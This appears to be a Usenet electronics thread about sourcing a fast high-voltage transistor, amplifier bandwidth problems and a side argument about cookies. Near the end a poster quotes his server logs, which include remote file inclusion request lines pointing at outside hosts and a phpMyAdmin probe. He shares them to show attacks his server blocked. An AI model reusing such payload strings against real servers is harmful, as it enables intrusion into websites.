I want a transistor

Geez, John, he _did_ reference a data sheet.

Try this:

http://pdf1.alldatasheet.com/datasheet-pdf/view/30274/TOSHIBA/2SC4679.html

What a piece of garbage site. Where is the datasheet?
PS NO cookies.

Argumentative ass, when someone mentions a part, references the part
number and then states that it only exists in datasheets, one would
think that the reference to 'datasheets' and a quick trip to Google
would result in finding at least one of the referenced datasheets.

Poxy hell, you really disunderstood.

It is a very good site, does your mouse have buttons?

How can they require you order 10,000 if they only have 1,233 ?

The sales force at Avnet puts me in this situation all the time! "We
have it in stock, and there's no way you can buy it." And it always
happens with high-voltage high-speed stuff. Don't get it.

Approximately what they're designed for. If you recall a past conversation
of mine here, you might realize I'm interested in making a fast,
high-voltage, balanced amplifier:http://webpages.charter.net/dawill/tmoranwms/Elec_Scope1.html

2SC1569's topping out at about 5MHz:http://webpages.charter.net/dawill/Images/20MHz_Amp1.jpg
I have yet to try cascode perzactly but having increased drive current to
levels comparable to bias current, it's not looking good.http://webpages.charter.net/dawill/Images/20MHz_Amp.gif
Changed C1569 emitter resistors to 47, supply to +150V, 2N3904 emitter
resistors (to -9V) to 150 ==> around 80mA bias floating around the output
bases. Even with emitter capacitor (actually 330pF, not 220 shown) and
peaking inductors, rise time tops out at 100ns (or was it 50) and F3 circa
5MHz.

Is a Flintstone vacuum tube a better solution?

Got to tired of can't do anything without cookies.

You mean you have them cookies disabled?
hardly any site is cooky free thse days no?
Cookies are not dangerous, they are just little flufs on your harddisk,
not executable as far as I know.

There have been cookies that included executables and used to spread
viruses, spyware, and other malicious products.

I am not denying this is perhaps possible, but I know here every
link I clicked is stored for years, every email passes via NSA
evaluators, every phone call too, what not.
So 'spy'.. we are pretty much transparent now to the Rulers Of The World.
I have an email subscription to http://www.buerger-cert.de , and on
regular basis receive email warnings about the next virus, bug, attack,
what not. If you can read German, try to subscribe to them.
Some tips are important, but not even my firefox is up to date, because if I needed
it to be up to date, then I would need to re-install a new version each week.
The same for adobe, realplayer, many other applications.
There is no 'safe' computer.
Cookies never gave me any problems, they are convenient if
I read news sites (like nytimes.com) and I am welcomed with
my own name etc.
Also the fact that I run Linux probably protects me, with the system online
now for several years 24/7, the only real dangerous attacks I have seen are the ones
trying to do http request to other servers via mine, ones trying obvious directories
to grab my databases, some recently to use holes in my wiki / blog.
Things like this:
213.60.19.182 cm19182.red.mundo-r.com - - [21/Nov/2007:04:26:54 +0100] "GET /kalendar/tools/send_reminders.php?includedir=http://85.114.128.21/t.txt? HTTP/1.1" 404 887
Or this
195.188.8.14 195.188.8.14 - - [16/Nov/2007:18:12:58 +0100] "GET /pmwiki.php?GLOBALS[FarmD]=http://www.s1ko.jazztel.es/safe.gif? HTTP/1.1" 404 887

One recommendation from this, apart from firewalls etc:
DO NOT KEEP YOUR APPLICATIONS IN THEIR DEFAUT DIRECTORIES.

See them try:
66.43.88.82 mail.vividcollection.com - - [19/Nov/2007:18:38:53 +0100] "GET /phpMyAdmin-2.5.1/main.php HTTP/1.0" 404 887
It failed, because I do not keep things in phpMyAdmin-2.5.1 (he tried all other possible versions too, also for other programs).

Yes I expose those IPs, killfile them.
In my case they are semi-auto added to the firewall, never ever being able to even find my serverIP from the servername again,
as I also run the nameserver

Cookies? Nothing to worry about.
